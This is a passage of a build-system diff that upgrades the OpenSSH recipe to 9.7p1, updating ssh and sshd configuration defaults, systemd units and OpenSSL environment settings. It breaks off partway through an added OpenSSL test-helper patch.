--- a/meta/recipes-connectivity/openssh/openssh/ssh_config
+++ b/meta/recipes-connectivity/openssh/openssh/ssh_config
@@ -1,4 +1,4 @@
-# $OpenBSD: ssh_config,v 1.33 2017/05/07 23:12:57 djm Exp $
+# $OpenBSD: ssh_config,v 1.35 2020/07/17 03:43:42 dtucker Exp $
# This is the ssh client system-wide configuration file. See
# ssh_config(5) for more information. This file provides defaults for
@@ -17,11 +17,11 @@
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.
-Host *
- ForwardAgent yes
- ForwardX11 yes
-# RhostsRSAAuthentication no
-# RSAAuthentication yes
+Include /etc/ssh/ssh_config.d/*.conf
+
+# Host *
+# ForwardAgent no
+# ForwardX11 no
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
@@ -36,7 +36,6 @@ Host *
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
-# Protocol 2
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64@openssh.com
# EscapeChar ~
@@ -46,3 +45,4 @@ Host *
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
+# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd.service b/meta/recipes-connectivity/openssh/openssh/sshd.service
new file mode 100644
index 0000000000..2a997b656a
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh/sshd.service
@@ -0,0 +1,17 @@
+[Unit]
+Description=OpenSSH server daemon
+Wants=sshdgenkeys.service
+After=sshdgenkeys.service
+
+[Service]
+Environment="SSHD_OPTS="
+EnvironmentFile=-/etc/default/ssh
+ExecStartPre=@BASE_BINDIR@/mkdir -p /var/run/sshd
+ExecStart=-@SBINDIR@/sshd -D $SSHD_OPTS
+ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
+KillMode=process
+Restart=on-failure
+RestartSec=42s
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd@.service b/meta/recipes-connectivity/openssh/openssh/sshd@.service
index 422450c7a1..9d9965e624 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd@.service
+++ b/meta/recipes-connectivity/openssh/openssh/sshd@.service
@@ -7,5 +7,4 @@ Environment="SSHD_OPTS="
EnvironmentFile=-/etc/default/ssh
ExecStart=-@SBINDIR@/sshd -i $SSHD_OPTS
StandardInput=socket
-StandardError=syslog
KillMode=process
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
index 1931dc7153..606d1894b5 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
+++ b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
@@ -6,6 +6,7 @@ generate_key() {
local DIR="$(dirname "$FILE")"
mkdir -p "$DIR"
+ rm -f ${FILE}.tmp
ssh-keygen -q -f "${FILE}.tmp" -N '' -t $TYPE
# Atomically rename file public key
@@ -56,8 +57,7 @@ while true ; do
esac
done
-HOST_KEYS=$(sed -n 's/^[ \t]*HostKey[ \t]\+\(.*\)/\1/p' "${sshd_config}")
-[ -z "${HOST_KEYS}" ] && HOST_KEYS="$SYSCONFDIR/ssh_host_rsa_key $SYSCONFDIR/ssh_host_ecdsa_key $SYSCONFDIR/ssh_host_ed25519_key"
+HOST_KEYS=$(sshd -G -f "${sshd_config}" | grep -i '^hostkey ' | cut -f2 -d' ')
for key in ${HOST_KEYS} ; do
[ -f $key ] && continue
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd_config b/meta/recipes-connectivity/openssh/openssh/sshd_config
index 15f061b570..e9eaf93157 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd_config
+++ b/meta/recipes-connectivity/openssh/openssh/sshd_config
@@ -1,4 +1,4 @@
-# $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $
+# $OpenBSD: sshd_config,v 1.104 2021/07/02 05:11:21 dtucker Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
@@ -10,6 +10,8 @@
# possible, but leave them commented. Uncommented options override the
# default value.
+Include /etc/ssh/sshd_config.d/*.conf
+
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
@@ -57,9 +59,9 @@ AuthorizedKeysFile .ssh/authorized_keys
#PasswordAuthentication yes
#PermitEmptyPasswords no
-# Change to yes to enable challenge-response passwords (beware issues with
-# some PAM modules and threads)
-ChallengeResponseAuthentication no
+# Change to yes to enable keyboard-interactive authentication (beware issues
+# with some PAM modules and threads)
+KbdInteractiveAuthentication no
# Kerberos options
#KerberosAuthentication no
@@ -73,13 +75,13 @@ ChallengeResponseAuthentication no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
-# be allowed through the ChallengeResponseAuthentication and
+# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
-# PAM authentication via ChallengeResponseAuthentication may bypass
+# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
-# and ChallengeResponseAuthentication to 'no'.
+# and KbdInteractiveAuthentication to 'no'.
#UsePAM no
#AllowAgentForwarding yes
@@ -92,7 +94,6 @@ ChallengeResponseAuthentication no
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
-#UseLogin no
#PermitUserEnvironment no
Compression no
ClientAliveInterval 15
diff --git a/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service b/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
index 603c33787f..fd81793d51 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
+++ b/meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service
@@ -6,3 +6,4 @@ RequiresMountsFor=/var /run
ExecStart=@LIBEXECDIR@/sshd_check_keys
Type=oneshot
RemainAfterExit=yes
+Nice=10
diff --git a/meta/recipes-connectivity/openssh/openssh_8.3p1.bb b/meta/recipes-connectivity/openssh/openssh_8.3p1.bb
deleted file mode 100644
index fad321898c..0000000000
--- a/meta/recipes-connectivity/openssh/openssh_8.3p1.bb
+++ /dev/null
@@ -1,169 +0,0 @@
-SUMMARY = "A suite of security-related network utilities based on \
-the SSH protocol including the ssh client and sshd server"
-DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
-Ssh (Secure Shell) is a program for logging into a remote machine \
-and for executing commands on a remote machine."
-HOMEPAGE = "http://www.openssh.com/"
-SECTION = "console/network"
-LICENSE = "BSD & ISC & MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=18d9e5a8b3dd1790d73502f50426d4d3"
-
-DEPENDS = "zlib openssl virtual/crypt"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
- file://sshd_config \
- file://ssh_config \
- file://init \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://sshd.socket \
- file://sshd@.service \
- file://sshdgenkeys.service \
- file://volatiles.99_sshd \
- file://run-ptest \
- file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
- file://sshd_check_keys \
- file://add-test-support-for-busybox.patch \
- "
-SRC_URI[sha256sum] = "f2befbe0472fe7eb75d23340eb17531cb6b3aac24075e2066b41f814e12387b2"
-
-PAM_SRC_URI = "file://sshd"
-
-inherit manpages useradd update-rc.d update-alternatives systemd
-
-USERADD_PACKAGES = "${PN}-sshd"
-USERADD_PARAM_${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
-INITSCRIPT_PACKAGES = "${PN}-sshd"
-INITSCRIPT_NAME_${PN}-sshd = "sshd"
-INITSCRIPT_PARAMS_${PN}-sshd = "defaults 9"
-
-SYSTEMD_PACKAGES = "${PN}-sshd"
-SYSTEMD_SERVICE_${PN}-sshd = "sshd.socket"
-
-inherit autotools-brokensep ptest
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
-PACKAGECONFIG[ldns] = "--with-ldns,--without-ldns,ldns"
-PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-PACKAGECONFIG[manpages] = "--with-mantype=man,--with-mantype=cat"
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-# login path is hardcoded in sshd
-EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- --without-zlib-version-check \
- --with-privsep-path=${localstatedir}/run/sshd \
- --sysconfdir=${sysconfdir}/ssh \
- --with-xauth=${bindir}/xauth \
- --disable-strip \
- "
-
-# musl doesn't implement wtmp/utmp
-EXTRA_OECONF_append_libc-musl = " --disable-wtmp"
-
-# Since we do not depend on libbsd, we do not want configure to use it
-# just because it finds libutil.h. But, specifying --disable-libutil
-# causes compile errors, so...
-CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
-
-# passwd path is hardcoded in sshd
-CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
-
-# We don't want to depend on libblockfile
-CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
-
-do_configure_prepend () {
- export LD="${CC}"
- install -m 0644 ${WORKDIR}/sshd_config ${B}/
- install -m 0644 ${WORKDIR}/ssh_config ${B}/
-}
-
-do_compile_ptest() {
- # skip regress/unittests/ binaries: this will silently skip
- # unittests in run-ptests which is good because they are so slow.
- oe_runmake regress/modpipe regress/setuid-allowed regress/netcat \
- regress/check-perm regress/mkdtemp
-}
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
- sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
- sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
- rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
- rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
- install -d ${D}/${sysconfdir}/default/volatiles
- install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
- install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
-
- # Create config files for read-only rootfs
- install -d ${D}${sysconfdir}/ssh
- install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
- sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
-
- install -d ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@BINDIR@,${bindir},g' \
- -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${systemd_unitdir}/system/sshd.socket ${D}${systemd_unitdir}/system/*.service
-
- sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${sysconfdir}/init.d/sshd
-
- install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
-}
-
-do_install_ptest () {
- sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
- cp -r regress ${D}${PTEST_PATH}
-}
-
-ALLOW_EMPTY_${PN} = "1"
-
-PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
-FILES_${PN}-scp = "${bindir}/scp.${BPN}"
-FILES_${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
-FILES_${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_unitdir}/system"
-FILES_${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
-FILES_${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
-FILES_${PN}-sftp = "${bindir}/sftp"
-FILES_${PN}-sftp-server = "${libexecdir}/sftp-server"
-FILES_${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
-FILES_${PN}-keygen = "${bindir}/ssh-keygen"
-
-RDEPENDS_${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen"
-RDEPENDS_${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
-RRECOMMENDS_${PN}-sshd_append_class-target = " rng-tools"
-# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
-RDEPENDS_${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed sudo coreutils"
-
-RPROVIDES_${PN}-ssh = "ssh"
-RPROVIDES_${PN}-sshd = "sshd"
-
-RCONFLICTS_${PN} = "dropbear"
-RCONFLICTS_${PN}-sshd = "dropbear"
-
-CONFFILES_${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
-CONFFILES_${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
-
-ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_${PN}-scp = "scp"
-ALTERNATIVE_${PN}-ssh = "ssh"
-
-BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssh/openssh_9.7p1.bb b/meta/recipes-connectivity/openssh/openssh_9.7p1.bb
new file mode 100644
index 0000000000..d1468c59fc
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh_9.7p1.bb
@@ -0,0 +1,202 @@
+SUMMARY = "A suite of security-related network utilities based on \
+the SSH protocol including the ssh client and sshd server"
+DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
+Ssh (Secure Shell) is a program for logging into a remote machine \
+and for executing commands on a remote machine."
+HOMEPAGE = "http://www.openssh.com/"
+SECTION = "console/network"
+LICENSE = "BSD-2-Clause & BSD-3-Clause & ISC & MIT"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=072979064e691d342002f43cd89c0394"
+
+DEPENDS = "zlib openssl virtual/crypt"
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
+ file://sshd_config \
+ file://ssh_config \
+ file://init \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://sshd.service \
+ file://sshd.socket \
+ file://sshd@.service \
+ file://sshdgenkeys.service \
+ file://volatiles.99_sshd \
+ file://run-ptest \
+ file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
+ file://sshd_check_keys \
+ file://add-test-support-for-busybox.patch \
+ file://0001-regress-banner.sh-log-input-and-output-files-on-erro.patch \
+ file://0001-systemd-Add-optional-support-for-systemd-sd_notify.patch \
+ "
+SRC_URI[sha256sum] = "490426f766d82a2763fcacd8d83ea3d70798750c7bd2aff2e57dc5660f773ffd"
+
+CVE_STATUS[CVE-2007-2768] = "not-applicable-config: This CVE is specific to OpenSSH with the pam opie which we don't build/use here."
+
+# This CVE is specific to OpenSSH server, as used in Fedora and Red Hat Enterprise Linux 7
+# and when running in a Kerberos environment. As such it is not relevant to OpenEmbedded
+CVE_STATUS[CVE-2014-9278] = "not-applicable-platform: This CVE is specific to OpenSSH server, as used in Fedora and \
+Red Hat Enterprise Linux 7 and when running in a Kerberos environment"
+
+CVE_STATUS[CVE-2008-3844] = "not-applicable-platform: Only applies to some distributed RHEL binaries."
+
+PAM_SRC_URI = "file://sshd"
+
+inherit manpages useradd update-rc.d update-alternatives systemd
+
+USERADD_PACKAGES = "${PN}-sshd"
+USERADD_PARAM:${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
+INITSCRIPT_PACKAGES = "${PN}-sshd"
+INITSCRIPT_NAME:${PN}-sshd = "sshd"
+INITSCRIPT_PARAMS:${PN}-sshd = "defaults 9"
+
+SYSTEMD_PACKAGES = "${PN}-sshd"
+SYSTEMD_SERVICE:${PN}-sshd = "${@bb.utils.contains('PACKAGECONFIG','systemd-sshd-socket-mode','sshd.socket', '', d)} ${@bb.utils.contains('PACKAGECONFIG','systemd-sshd-service-mode','sshd.service', '', d)}"
+
+inherit autotools-brokensep ptest pkgconfig
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd', '', d)}"
+
+# systemd-sshd-socket-mode means installing sshd.socket
+# and systemd-sshd-service-mode corresponding to sshd.service
+PACKAGECONFIG ??= "systemd-sshd-socket-mode"
+PACKAGECONFIG[fido2] = "--with-security-key-builtin,--disable-security-key,libfido2"
+PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
+PACKAGECONFIG[ldns] = "--with-ldns,--without-ldns,ldns"
+PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
+PACKAGECONFIG[manpages] = "--with-mantype=man,--with-mantype=cat"
+PACKAGECONFIG[systemd-sshd-socket-mode] = ""
+PACKAGECONFIG[systemd-sshd-service-mode] = ""
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+# login path is hardcoded in sshd
+EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ --without-zlib-version-check \
+ --with-privsep-path=${localstatedir}/run/sshd \
+ --sysconfdir=${sysconfdir}/ssh \
+ --with-xauth=${bindir}/xauth \
+ --disable-strip \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--with-systemd', '--without-systemd', d)} \
+ "
+
+# musl doesn't implement wtmp/utmp and logwtmp
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
+# Work around ICE on mips/mips64 starting in 9.6p1
+EXTRA_OECONF:append:mips = " --without-hardening"
+EXTRA_OECONF:append:mips64 = " --without-hardening"
+
+# Work around ICE on powerpc64le starting in 9.6p1
+EXTRA_OECONF:append:powerpc64le = " --without-hardening"
+
+# Since we do not depend on libbsd, we do not want configure to use it
+# just because it finds libutil.h. But, specifying --disable-libutil
+# causes compile errors, so...
+CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
+
+# passwd path is hardcoded in sshd
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
+
+# We don't want to depend on libblockfile
+CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
+
+do_configure:prepend () {
+ export LD="${CC}"
+ install -m 0644 ${WORKDIR}/sshd_config ${B}/
+ install -m 0644 ${WORKDIR}/ssh_config ${B}/
+}
+
+do_compile_ptest() {
+ oe_runmake regress-binaries regress-unit-binaries
+}
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
+ sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
+ sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
+ rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
+ rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
+ install -d ${D}/${sysconfdir}/default/volatiles
+ install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
+ install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
+
+ # Create config files for read-only rootfs
+ install -d ${D}${sysconfdir}/ssh
+ install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
+ sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+
+ install -d ${D}${systemd_system_unitdir}
+ if ${@bb.utils.contains('PACKAGECONFIG','systemd-sshd-socket-mode','true','false',d)}; then
+ install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@BINDIR@,${bindir},g' \
+ -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${systemd_system_unitdir}/sshd.socket
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG','systemd-sshd-service-mode','true','false',d)}; then
+ install -c -m 0644 ${WORKDIR}/sshd.service ${D}${systemd_system_unitdir}
+ fi
+ install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@BINDIR@,${bindir},g' \
+ -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${systemd_system_unitdir}/*.service
+
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${sysconfdir}/init.d/sshd
+
+ install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
+}
+
+do_install_ptest () {
+ sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
+ cp -r regress ${D}${PTEST_PATH}
+ cp config.h ${D}${PTEST_PATH}
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
+FILES:${PN}-scp = "${bindir}/scp.${BPN}"
+FILES:${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
+FILES:${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_system_unitdir}"
+FILES:${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
+FILES:${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
+FILES:${PN}-sftp = "${bindir}/sftp"
+FILES:${PN}-sftp-server = "${libexecdir}/sftp-server"
+FILES:${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
+FILES:${PN}-keygen = "${bindir}/ssh-keygen"
+
+RDEPENDS:${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen ${PN}-sftp-server"
+RDEPENDS:${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
+# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
+RDEPENDS:${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed coreutils openssl-bin"
+
+RPROVIDES:${PN}-ssh = "ssh"
+RPROVIDES:${PN}-sshd = "sshd"
+
+RCONFLICTS:${PN} = "dropbear"
+RCONFLICTS:${PN}-sshd = "dropbear"
+
+CONFFILES:${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
+CONFFILES:${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-scp = "scp"
+ALTERNATIVE:${PN}-ssh = "ssh"
+
+BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssl/files/environment.d-openssl.sh b/meta/recipes-connectivity/openssl/files/environment.d-openssl.sh
index b9cc24a7ac..6f23490c87 100644
--- a/meta/recipes-connectivity/openssl/files/environment.d-openssl.sh
+++ b/meta/recipes-connectivity/openssl/files/environment.d-openssl.sh
@@ -1 +1,5 @@
export OPENSSL_CONF="$OECORE_NATIVE_SYSROOT/usr/lib/ssl/openssl.cnf"
+export SSL_CERT_DIR="$OECORE_NATIVE_SYSROOT/usr/lib/ssl/certs"
+export SSL_CERT_FILE="$OECORE_NATIVE_SYSROOT/usr/lib/ssl/certs/ca-certificates.crt"
+export OPENSSL_MODULES="$OECORE_NATIVE_SYSROOT/usr/lib/ossl-modules/"
+export OPENSSL_ENGINES="$OECORE_NATIVE_SYSROOT/usr/lib/engines-3"
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch b/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch
new file mode 100644
index 0000000000..aa2e5bb800
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch
@@ -0,0 +1,374 @@
+From 5ba65051fea0513db0d997f0ab7cafb9826ed74a Mon Sep 17 00:00:00 2001
+From: William Lyu <William.Lyu@windriver.com>
+Date: Fri, 20 Oct 2023 16:22:37 -0400
+Subject: [PATCH] Added handshake history reporting when test fails
+
+Upstream-Status: Submitted [https://github.com/openssl/openssl/pull/22481]
+
+Signed-off-by: William Lyu <William.Lyu@windriver.com>
+---
+ test/helpers/handshake.c | 139 +++++++++++++++++++++++++++++----------
+ test/helpers/handshake.h | 70 +++++++++++++++++++-
+ test/ssl_test.c | 44 +++++++++++++
+ 3 files changed, 218 insertions(+), 35 deletions(-)
+
+diff --git a/test/helpers/handshake.c b/test/helpers/handshake.c
+index e0422469e4..ae2ad59dd4 100644
+--- a/test/helpers/handshake.c
++++ b/test/helpers/handshake.c
+@@ -1,5 +1,5 @@
+ /*
+- * Copyright 2016-2022 The OpenSSL Project Authors. All Rights Reserved.
++ * Copyright 2016-2023 The OpenSSL Project Authors. All Rights Reserved.
+ *
+ * Licensed under the Apache License 2.0 (the "License"). You may not use
+ * this file except in compliance with the License. You can obtain a copy
+@@ -24,6 +24,102 @@
+ #include <netinet/sctp.h>
+ #endif
+
++/* Shamelessly copied from test/helpers/ssl_test_ctx.c */
++/* Maps string names to various enumeration type */
++typedef struct {
++ const char *name;
++ int value;
++} enum_name_map;
++
++static const enum_name_map connect_phase_names[] = {
++ {"Handshake", HANDSHAKE},
++ {"RenegAppData", RENEG_APPLICATION_DATA},
++ {"RenegSetup", RENEG_SETUP},
++ {"RenegHandshake", RENEG_HANDSHAKE},
++ {"AppData", APPLICATION_DATA},
++ {"Shutdown", SHUTDOWN},
++ {"ConnectionDone", CONNECTION_DONE}
++};
++
++static const enum_name_map peer_status_names[] = {
++ {"PeerSuccess", PEER_SUCCESS},
++ {"PeerRetry", PEER_RETRY},
++ {"PeerError", PEER_ERROR},
++ {"PeerWaiting", PEER_WAITING},
++ {"PeerTestFail", PEER_TEST_FAILURE}
++};
++
++static const enum_name_map handshake_status_names[] = {
++ {"HandshakeSuccess", HANDSHAKE_SUCCESS},
++ {"ClientError", CLIENT_ERROR},
++ {"ServerError", SERVER_ERROR},
++ {"InternalError", INTERNAL_ERROR},
++ {"HandshakeRetry", HANDSHAKE_RETRY}
++};
++
++/* Shamelessly copied from test/helpers/ssl_test_ctx.c */
++static const char *enum_name(const enum_name_map *enums, size_t num_enums,
++ int value)
++{
++ size_t i;
++ for (i = 0; i < num_enums; i++) {
++ if (enums[i].value == value) {
++ return enums[i].name;
++ }
++ }
++ return "InvalidValue";
++}
++
++const char *handshake_connect_phase_name(connect_phase_t phase)
++{
